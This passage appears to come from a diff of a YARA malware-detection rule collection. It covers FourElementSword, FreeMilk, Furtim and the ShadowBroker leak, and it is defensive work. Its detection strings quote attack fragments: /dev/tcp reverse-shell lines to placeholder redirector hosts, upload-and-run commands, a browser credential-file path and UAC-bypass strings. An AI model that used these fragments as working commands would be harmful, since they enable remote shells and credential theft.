||||
$s3 = "SHELL32.dll" fullword ascii /* Goodware String - occured 3233 times */
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 48KB and $x1 ) or ( all of them )
|
||||
}
|
||||
|
||||
rule FourElementSword_ElevateDLL_2 {
|
||||
meta:
|
||||
description = "Detects FourElementSword Malware - file 9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
|
||||
date = "2016-04-18"
|
||||
hash = "9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95"
|
||||
strings:
|
||||
$s1 = "Elevate.dll" fullword ascii
|
||||
$s2 = "GetSomeF" fullword ascii
|
||||
$s3 = "GetNativeSystemInfo" fullword ascii /* Goodware String - occured 530 times */
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 25KB and $s1 ) or ( all of them )
|
||||
}
|
||||
|
||||
rule FourElementSword_fslapi_dll_gui {
|
||||
meta:
|
||||
description = "Detects FourElementSword Malware - file 2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
|
||||
date = "2016-04-18"
|
||||
hash = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
|
||||
strings:
|
||||
$s1 = "fslapi.dll.gui" fullword wide
|
||||
$s2 = "ImmGetDefaultIMEWnd" fullword ascii /* Goodware String - occured 64 times */
|
||||
$s3 = "RichOX" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 12KB and all of them )
|
||||
}
|
||||
|
||||
rule FourElementSword_PowerShell_Start {
|
||||
meta:
|
||||
description = "Detects FourElementSword Malware - file 9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
|
||||
date = "2016-04-18"
|
||||
hash = "9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692"
|
||||
strings:
|
||||
$s0 = "start /min powershell C:\\\\ProgramData\\\\wget.exe" ascii
|
||||
$s1 = "start /min powershell C:\\\\ProgramData\\\\iuso.exe" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FourElementSword_ResN32DLL {
|
||||
meta:
|
||||
description = "Detects FourElementSword Malware - file bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
|
||||
date = "2016-04-18"
|
||||
hash = "bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f"
|
||||
strings:
|
||||
$s1 = "\\Release\\BypassUAC.pdb" ascii
|
||||
$s2 = "\\ResN32.dll" fullword wide
|
||||
$s3 = "Eupdate" fullword wide
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
/* Super Rules ------------------------------------------------------------- */
|
||||
|
||||
rule FourElementSword_ElevateDLL {
|
||||
meta:
|
||||
description = "Detects FourElementSword Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
|
||||
date = "2016-04-18"
|
||||
super_rule = 1
|
||||
hash1 = "3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9"
|
||||
hash2 = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
|
||||
strings:
|
||||
$x1 = "Elevate.dll" fullword wide
|
||||
$x2 = "ResN32.dll" fullword wide
|
||||
|
||||
$s1 = "Kingsoft\\Antivirus" fullword wide
|
||||
$s2 = "KasperskyLab\\protected" fullword wide
|
||||
$s3 = "Sophos" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 500KB and 1 of ($x*) and all of ($s*) )
|
||||
or ( all of them )
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-10-05
|
||||
Identifier: FreeMilk
|
||||
Reference: https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/
|
||||
*/
|
||||
|
||||
import "pe"
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule FreeMilk_APT_Mal_1 {
|
||||
meta:
|
||||
description = "Detects malware from FreeMilk campaign"
|
||||
author = "Florian Roth"
|
||||
reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
|
||||
date = "2017-10-05"
|
||||
hash1 = "34478d6692f8c28332751b31fd695b799d4ab36a8c12f7b728e2cb99ae2efcd9"
|
||||
hash2 = "35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2"
|
||||
hash3 = "0f82ea2f92c7e906ee9ffbbd8212be6a8545b9bb0200eda09cce0ba9d7cb1313"
|
||||
strings:
|
||||
$x1 = "\\milk\\Release\\milk.pdb" ascii
|
||||
$x2 = "E:\\BIG_POOH\\Project\\" ascii
|
||||
$x3 = "Windows-KB271854-x86.exe" fullword wide
|
||||
|
||||
$s1 = "Windows-KB275122-x86.exe" fullword wide
|
||||
$s2 = "\\wsatra.tmp" fullword wide
|
||||
$s3 = "%s\\Rar0tmpExtra%d.rtf" fullword wide
|
||||
$s4 = "\"%s\" help" fullword wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 300KB and (
|
||||
pe.imphash() == "108aa007b3d1b4817ff4c04d9b254b39" or
|
||||
1 of ($x*) or
|
||||
4 of them
|
||||
)
|
||||
}
|
||||
|
||||
rule FreeMilk_APT_Mal_2 {
|
||||
meta:
|
||||
description = "Detects malware from FreeMilk campaign"
|
||||
author = "Florian Roth"
|
||||
reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
|
||||
date = "2017-10-05"
|
||||
hash1 = "7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df"
|
||||
strings:
|
||||
$s1 = "failed to take the screenshot. err: %d" fullword ascii
|
||||
$s2 = "runsample" fullword wide
|
||||
$s3 = "%s%02X%02X%02X%02X%02X%02X:" fullword wide
|
||||
$s4 = "win-%d.%d.%d-%d" fullword wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 400KB and (
|
||||
pe.imphash() == "b86f7d2c1c182ec4c074ae1e16b7a3f5" or
|
||||
all of them
|
||||
)
|
||||
}
|
||||
|
||||
rule FreeMilk_APT_Mal_3 {
|
||||
meta:
|
||||
description = "Detects malware from FreeMilk campaign"
|
||||
author = "Florian Roth"
|
||||
reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
|
||||
date = "2017-10-05"
|
||||
hash1 = "ef40f7ddff404d1193e025081780e32f88883fa4dd496f4189084d772a435cb2"
|
||||
strings:
|
||||
$s1 = "CMD.EXE /C \"%s\"" fullword wide
|
||||
$s2 = "\\command\\start.exe" fullword wide
|
||||
$s3 = ".bat;.com;.cmd;.exe" fullword wide
|
||||
$s4 = "Unexpected failure opening HKCR key: %d" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 900KB and all of them )
|
||||
}
|
||||
|
||||
rule FreeMilk_APT_Mal_4 {
|
||||
meta:
|
||||
description = "Detects malware from FreeMilk campaign"
|
||||
author = "Florian Roth"
|
||||
reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
|
||||
date = "2017-10-05"
|
||||
hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
|
||||
strings:
|
||||
$x1 = "base64Encoded=\"TVqQAAMAAAAE" ascii
|
||||
|
||||
$s1 = "SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command" fullword wide
|
||||
$s2 = "'Wscript.echo \"Base64 encoded: \" + base64Encoded" fullword ascii
|
||||
$s3 = "\\Google\\Chrome\\User Data\\Default\\Login Data" fullword ascii
|
||||
$s4 = "outFile=sysDir&\"\\rundll32.exe\"" fullword ascii
|
||||
$s5 = "set shell = WScript.CreateObject(\"WScript.Shell\")" fullword ascii
|
||||
$s6 = "command =outFile &\" sysupdate\"" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 3000KB and (
|
||||
( pe.exports("getUpdate") and pe.number_of_exports == 1 ) or
|
||||
1 of ($x*) or
|
||||
3 of them
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-07-15
|
||||
Identifier: Furtim Malware
|
||||
*/
|
||||
|
||||
rule Furtim_nativeDLL {
|
||||
meta:
|
||||
description = "Detects Furtim malware - file native.dll"
|
||||
author = "Florian Roth"
|
||||
reference = "MISP 3971"
|
||||
date = "2016-06-13"
|
||||
hash1 = "4f39d3e70ed1278d5fa83ed9f148ca92383ec662ac34635f7e56cc42eeaee948"
|
||||
strings:
|
||||
$s1 = "FqkVpTvBwTrhPFjfFF6ZQRK44hHl26" fullword ascii
|
||||
|
||||
$op0 = { e0 b3 42 00 c7 84 24 ac } /* Opcode */
|
||||
$op1 = { a1 e0 79 44 00 56 ff 90 10 01 00 00 a1 e0 79 44 } /* Opcode */
|
||||
$op2 = { bf d0 25 44 00 57 89 4d f0 ff 90 d4 02 00 00 59 } /* Opcode */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 900KB and $s1 or all of ($op*)
|
||||
}
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-07-16
|
||||
Identifier: Furtim Parent
|
||||
*/
|
||||
|
||||
rule Furtim_Parent_1 {
|
||||
meta:
|
||||
description = "Detects Furtim Parent Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://sentinelone.com/blogs/sfg-furtims-parent/"
|
||||
date = "2016-07-16"
|
||||
hash1 = "766e49811c0bb7cce217e72e73a6aa866c15de0ba11d7dda3bd7e9ec33ed6963"
|
||||
strings:
|
||||
/* RC4 encryption password */
|
||||
$x1 = "dqrChZonUF" fullword ascii
|
||||
/* Other strings */
|
||||
$s1 = "Egistec" fullword wide
|
||||
$s2 = "Copyright (C) 2016" fullword wide
|
||||
/* Op Code */
|
||||
$op1 = { c0 ea 02 88 55 f8 8a d1 80 e2 03 }
|
||||
$op2 = { 5d fe 88 55 f9 8a d0 80 e2 0f c0 }
|
||||
$op3 = { c4 0c 8a d9 c0 eb 02 80 e1 03 88 5d f8 8a d8 c0 }
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 900KB and
|
||||
( $x1 or ( all of ($s*) and all of ($op*) ) ) ) or
|
||||
all of them
|
||||
}
|
||||
@@ -0,0 +1,384 @@
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-12-17
|
||||
Identifier: Five Eyes ShadowBroker - Screenshots Extractions
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule FVEY_ShadowBroker_Auct_Dez16_Strings {
|
||||
meta:
|
||||
description = "String from the ShodowBroker Files Screenshots - Dec 2016"
|
||||
author = "Florian Roth"
|
||||
score = 60
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
strings:
|
||||
$s1 = "bs.ratload" fullword ascii
|
||||
$s2 = "Auditcleaner" fullword ascii
|
||||
$s3 = "bll.perlbind" fullword ascii
|
||||
$s4 = "bll.perlcallback" fullword ascii
|
||||
$s5 = "bll.telnet" fullword ascii
|
||||
$s6 = "bll.tnc.gr" fullword ascii
|
||||
$s7 = "clean_wtmps.py" fullword ascii
|
||||
$s8 = "cmsex.auto" fullword ascii
|
||||
$s9 = "cottonaxe" fullword ascii
|
||||
$s10 = "dectelnet.sh" fullword ascii
|
||||
$s11 = "elatedmonkey" fullword ascii
|
||||
$s12 = "electricslide.pl" fullword ascii
|
||||
$s13 = "endlessdonut" fullword ascii
|
||||
$s14 = "solaris8shellcode" fullword ascii
|
||||
$s15 = "solaris9shellcode" fullword ascii
|
||||
$s16 = "solaris10shellcode" fullword ascii
|
||||
$s17 = "ys.ratload.sh" fullword ascii
|
||||
$elf1 = "catflap" fullword ascii
|
||||
$elf2 = "charm_penguin" fullword ascii
|
||||
$elf3 = "charm_hammer" fullword ascii
|
||||
$elf4 = "charm_saver" fullword ascii
|
||||
$elf5 = "dampcrowd" fullword ascii
|
||||
$elf7 = "dubmoat" fullword ascii
|
||||
$elf8 = "ebbshave" fullword ascii
|
||||
$elf9 = "eggbasket" fullword ascii
|
||||
$elf10 = "toffeehammer" fullword ascii
|
||||
$elf11 = "enemyrun" fullword ascii
|
||||
$elf12 = "envoytomato" fullword ascii
|
||||
$elf13 = "expoxyresin" fullword ascii
|
||||
$elf14 = "estopmoonlit" fullword ascii
|
||||
$elf15 = "linux-exactchange" fullword ascii
|
||||
$elf17 = "ghost_sparc" fullword ascii
|
||||
$elf18 = "jackpop" fullword ascii
|
||||
$elf19 = "orleans_stride" fullword ascii
|
||||
$elf20 = "prokserver" fullword ascii
|
||||
$elf21 = "seconddate" fullword ascii
|
||||
$elf22 = "shentysdelight" fullword ascii
|
||||
$elf23 = "skimcountry" fullword ascii
|
||||
$elf24 = "slyheretic" fullword ascii
|
||||
$elf25 = "stoicsurgeon" fullword ascii
|
||||
$elf26 = "strifeworld" fullword ascii
|
||||
$elf27 = "suaveeyeful" fullword ascii
|
||||
$elf28 = "suctionchar" fullword ascii
|
||||
$elf29 = "vs.attack.linux" fullword ascii
|
||||
$pe1 = "charm_razor" fullword ascii wide
|
||||
$pe2 = "charm_saver" fullword ascii wide
|
||||
$pe3 = "ghost_x86" fullword ascii wide
|
||||
condition:
|
||||
( uint16(0) == 0x457f and 1 of ($elf*) ) or
|
||||
( uint16(0) == 0x5a4d and 1 of ($pe*) ) or
|
||||
1 of ($s*)
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_violetspirit {
|
||||
meta:
|
||||
description = "Auto-generated rule - file violetspirit.README"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
|
||||
strings:
|
||||
$x1 = "-i tgt_ipaddr -h tgt_hostname" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_gr_gr {
|
||||
meta:
|
||||
description = "Auto-generated rule - file gr.notes"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "b2b60dce7a4cfdddbd3d3f1825f1885728956bae009de3a307342fbdeeafcb79"
|
||||
strings:
|
||||
$s4 = "delete starting from: (root) LIST (root)" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_user_tool_yellowspirit {
|
||||
meta:
|
||||
description = "Auto-generated rule - file user.tool.yellowspirit.COMMON"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "a7c4b718fa92934a9182567288146ffa3312d9f3edc3872478c90e0e2814078c"
|
||||
strings:
|
||||
$s1 = "-l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999" fullword ascii
|
||||
$s2 = "-s PITCH_IP -x PITCH_IP -y RHP-24 TARGET_IP" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_eleganteagle_opscript_1_0_0 {
|
||||
meta:
|
||||
description = "Auto-generated rule - file eleganteagle_opscript.1.0.0.6"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "57e223318de0a802874642652b3dc766128f25d7e8f320c6f04c6f2659bb4f7f"
|
||||
strings:
|
||||
$x3 = "uploadnrun -e \"D=-ucIP_ADDRESS_OF_REDIR" ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_opscript {
|
||||
meta:
|
||||
description = "Auto-generated rule - file opscript.se"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "275c91531a9ac5a240336714093b6aa146b8d7463cb2780cfeeceaea4c789682"
|
||||
strings:
|
||||
$s1 = "ls -l /tmp) | bdes -k 0x4790cae5ec154ccc|" ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_user_tool_shentysdelight {
|
||||
meta:
|
||||
description = "Auto-generated rule - file user.tool.shentysdelight.COMMON"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "a564efeaae9c13fe09a27f2d62208a1dec0a19b4a156f5cfa96a0259366b8166"
|
||||
strings:
|
||||
$s1 = "echo -ne \"/var/run/COLFILE\\0\"" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_user_tool_epichero {
|
||||
meta:
|
||||
description = "Auto-generated rule - file user.tool.epichero.COMMON"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "679d194c32cbaead7281df9afd17bca536ee9d28df917b422083ae8ed5b5c484"
|
||||
strings:
|
||||
$x2 = "-irtun TARGET_IP ISH_CALLBACK_PORT"
|
||||
$x3 = "-O REVERSE_SHELL_CALLBACK_PORT -w HIDDEN_DIR" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_user_tool {
|
||||
meta:
|
||||
description = "Auto-generated rule - file user.tool.elatedmonkey"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "98ae935dd9515529a34478cb82644828d94a2d273816d50485665535454e37cd"
|
||||
strings:
|
||||
$x5 = "ELATEDMONKEY will only work of apache executes scripts" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_user_tool_dubmoat {
|
||||
meta:
|
||||
description = "Auto-generated rule - file user.tool.dubmoat.COMMON"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "bcd4ee336050488f5ffeb850d8eaa11eec34d8ba099b370d94d2c83f08a4d881"
|
||||
strings:
|
||||
$s1 = "### Verify version on target:" fullword ascii
|
||||
$s2 = "/current/bin/ExtractData ./utmp > dub.TARGETNAME" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_strifeworld {
|
||||
meta:
|
||||
description = "Auto-generated rule - file strifeworld.1"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "222b00235bf143645ad0d55b2b6839febc5b570e3def00b77699915a7c9cb670"
|
||||
strings:
|
||||
$s4 = "-p -n.\" strifeworld" fullword ascii
|
||||
$s5 = "Running STRIFEWORLD not protected" ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_user_tool_pork {
|
||||
meta:
|
||||
description = "Auto-generated rule - file user.tool.pork.COMMON"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "9c400aab74e75be8770387d35ca219285e2cedc0c7895225bbe567ce9c9dc078"
|
||||
strings:
|
||||
$x2 = "packrat -z RAT_REMOTE_NAME" fullword ascii
|
||||
$s3 = "./client -t TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT" ascii
|
||||
$s4 = "mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/RED" ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_user_tool_ebbisland {
|
||||
meta:
|
||||
description = "Auto-generated rule - file user.tool.ebbisland.COMMON"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "390e776ae15fadad2e3825a5e2e06c4f8de6d71813bef42052c7fd8494146222"
|
||||
strings:
|
||||
$x1 = "-t 127.0.0.1 -p SERVICE_TCP_PORT -r TARGET_RPC_SERVICE -X"
|
||||
$x2 = "-N -A SPECIFIC_SHELLCODE_ADDRESS" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_user_tool_stoicsurgeon {
|
||||
meta:
|
||||
description = "Auto-generated rule - file user.tool.stoicsurgeon.COMMON"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "967facb19c9b563eb90d3df6aa89fd7dcfa889b0ba601d3423d9b71b44191f50"
|
||||
strings:
|
||||
$x1 = "echo -n TARGET_HOSTNAME | sed '/\\n/!G;s/\\(.\\)\\(.*\\n\\)/&\\2\\1/;//D;s/.//'" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_user_tool_elgingamble {
|
||||
meta:
|
||||
description = "Auto-generated rule - file user.tool.elgingamble.COMMON"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "4130284727ddef4610d63bfa8330cdafcb6524d3d2e7e8e0cb34fde8864c8118"
|
||||
strings:
|
||||
$x2 = "### Local exploit for" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_README_cup {
|
||||
meta:
|
||||
description = "Auto-generated rule - file README.cup.NOPEN"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "98aaad31663b89120eb781b25d6f061037aecaeb20cf5e32c36c68f34807e271"
|
||||
strings:
|
||||
$s3 = "-F file(s) Full path to target's \"fuser\" program." fullword ascii
|
||||
$s4 = "done after the RAT is killed." fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_nopen_oneshot {
|
||||
meta:
|
||||
description = "Auto-generated rule - file oneshot.example"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "a85b260d6a53ceec63ad5f09e1308b158da31062047dc0e4d562d2683a82bf9a"
|
||||
strings:
|
||||
$s1 = "/sbin/sh -c (mkdir /tmp/.X11R6; cd /tmp/.X11R6 && telnet" ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_user_tool_earlyshovel {
|
||||
meta:
|
||||
description = "Auto-generated rule - file user.tool.earlyshovel.COMMON"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "504e7a376c21ffbfb375353c5451dc69a35a10d7e2a5d0358f9ce2df34edf256"
|
||||
strings:
|
||||
$x1 = "--tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT" ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_user_tool_envisioncollision {
|
||||
meta:
|
||||
description = "Auto-generated rule - file user.tool.envisioncollision.COMMON"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
hash1 = "2f04f078a8f0fdfc864d3d2e37d123f55ecc1d5e401a87eccd0c3846770f9e02"
|
||||
strings:
|
||||
$x1 = "-i<IP> -p<port> -U<user> -P<password> -D<directory> -c<commands>" fullword ascii
|
||||
$x2 = "sh</dev/tcp/REDIR_IP/SHELL_PORT>&0" fullword ascii
|
||||
$x3 = "-n ENVISIONCOLLISION" ascii
|
||||
$x4 = "-UADMIN -PPASSWORD -i127.0.0.1 -Dipboard" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
/* Super Rules ------------------------------------------------------------- */
|
||||
|
||||
rule FVEY_ShadowBroker_Gen_Readme1 {
|
||||
meta:
|
||||
description = "Auto-generated rule"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
super_rule = 1
|
||||
hash1 = "4b236b066ac7b8386a13270dcb7fdff2dda81365d03f53867eb72e29d5e496de"
|
||||
hash2 = "64c24bbf42f15dcac04371aef756feabb7330f436c20f33cb25fbc8d0ff014c7"
|
||||
hash3 = "a237a2bd6aec429f9941d6de632aeb9729880aa3d5f6f87cf33a76d6caa30619"
|
||||
strings:
|
||||
$x1 = "ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_Gen_Readme2 {
|
||||
meta:
|
||||
description = "Auto-generated rule - from files user.tool.orleansstride.COMMON, user.tool.curserazor.COMMON"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
super_rule = 1
|
||||
hash1 = "18dfd74c3e0bfb1c21127cf3382ba1d9812efdf3e992bd666d513aaf3519f728"
|
||||
hash2 = "f4b728c93dba20a163b59b4790f29aed1078706d2c8b07dc7f4e07a6f3ecbe93"
|
||||
strings:
|
||||
$x1 = "##### Upload the encrypted phone list as awk, modify each parser command to have the" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_Gen_Readme3 {
|
||||
meta:
|
||||
description = "Auto-generated rule"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
super_rule = 1
|
||||
hash1 = "18dfd74c3e0bfb1c21127cf3382ba1d9812efdf3e992bd666d513aaf3519f728"
|
||||
hash2 = "4b236b066ac7b8386a13270dcb7fdff2dda81365d03f53867eb72e29d5e496de"
|
||||
hash3 = "3fe78949a9f3068db953b475177bcad3c76d16169469afd72791b4312f60cfb3"
|
||||
hash4 = "64c24bbf42f15dcac04371aef756feabb7330f436c20f33cb25fbc8d0ff014c7"
|
||||
hash5 = "a237a2bd6aec429f9941d6de632aeb9729880aa3d5f6f87cf33a76d6caa30619"
|
||||
hash6 = "89748906d1c574a75fe030645c7572d7d4145b143025aa74c9b5e2be69df8773"
|
||||
hash7 = "f4b728c93dba20a163b59b4790f29aed1078706d2c8b07dc7f4e07a6f3ecbe93"
|
||||
strings:
|
||||
$s3 = ":%s/CRYPTKEY/CRYPTKEY/g" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule FVEY_ShadowBroker_Gen_Readme4 {
|
||||
meta:
|
||||
description = "Auto-generated rule - from files violetspirit.README, violetspirit.README"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
|
||||
date = "2016-12-17"
|
||||
super_rule = 1
|
||||
hash1 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
|
||||
hash2 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
|
||||
strings:
|
||||
$s1 = "[-v rpc version] : default 4 : Solaris 8 and other patched versions use version 5" fullword ascii
|
||||
$s5 = "[-n tcp_port] : default use portmapper to determine" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-01-08
|
||||
Identifier: ShadowBroker Screenshot Rules
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule FVEY_ShadowBrokers_Jan17_Screen_Strings {
|
||||
meta:
|
||||
description = "Detects strings derived from the ShadowBroker's leak of Windows tools/exploits"
|
||||
author = "Florian Roth"
|
||||
reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message7/"
|
||||
date = "2017-01-08"
|
||||
